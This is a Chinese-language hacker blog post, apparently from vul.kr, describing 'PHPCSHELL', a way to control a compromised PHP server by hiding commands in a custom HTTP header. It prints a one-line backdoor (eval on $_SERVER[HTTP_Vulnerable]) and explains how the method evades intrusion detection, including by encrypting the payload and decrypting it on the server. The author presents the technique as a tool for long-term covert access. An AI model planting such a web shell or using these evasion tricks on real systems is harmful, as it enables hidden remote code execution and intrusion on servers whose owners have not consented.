http://www.vul.kr/?p=455 作者:TTFCT
06年時,發現HTTP HEADER可自定義,插入指定代碼,06年8月份成功完成PHPCSHELL C/S TOOL,之後一直使用此TOOL 繞過IDS,07年曾遇到使用 WSC POST提交不能成功連接的情況,而使用 PHPCSHELL 成功連上,之後一直使用,隱蔽性很好。
說了那麼多,該闡述一下PHPCSHELL原理了:
先讓我們來看一段 HTTP HEADER
GET / HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/vnd.ms-xpsdocument, application/xaml+xml, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.2)
Accept-Encoding: gzip, deflate
Host: www.vul.kr
Connection: Keep-Alive
Cookie: www.vul.kr
HTTP HEADER包含Accept,Accept-Language,User-Agent,Host等信息,我兩年前曾發表過一篇文章是關於BBSXP,通過修改User-Agent來實現注入,除了修改外,還可以對 HTTP HEADER增加項,如我們增加:
vulnerable:welcome to www.vul.kr
完整的HTTP HEADER如下:
GET / HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/vnd.ms-xpsdocument, application/xaml+xml, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.2)
Accept-Encoding: gzip, deflate
Host: www.vul.kr
Vulnerable:welcome to www.vul.kr
Connection: Keep-Alive
Cookie: websitecookie
在服務端,接收代碼如下:
<?php
echo ($_SERVER[HTTP_Vulnerable]);
?>
將HTTP封包NC 提交後,成功顯示 "welcome to www.vul.kr",這樣就取得了HTTP頭我們自定義的信息,POST,GET的提交數據可以做成一句話,當然,HTTP HEADER封包提交也可以,而且可以繞過某些IDS,這也是我為什麼一直使用PHPCSHELL的原因。
如果服務端變為:
<?php
eval($_SERVER[HTTP_Vulnerable]);
?>
是不是就變成了典型的一句話了:)
有些IDS很BT,會檢查HTTP HEADER,要繞過,還是有方法的,提示一點:封包加密,服務端解密再執行。
PHPCSHELL圖,本來想做成和WSC功能一樣的,但是工作量太大,沒時間寫。
PS: HTTP HEADER提交有字符限制,允許字符數長度:8184.
最後歡迎大家前往 http://www.vul.kr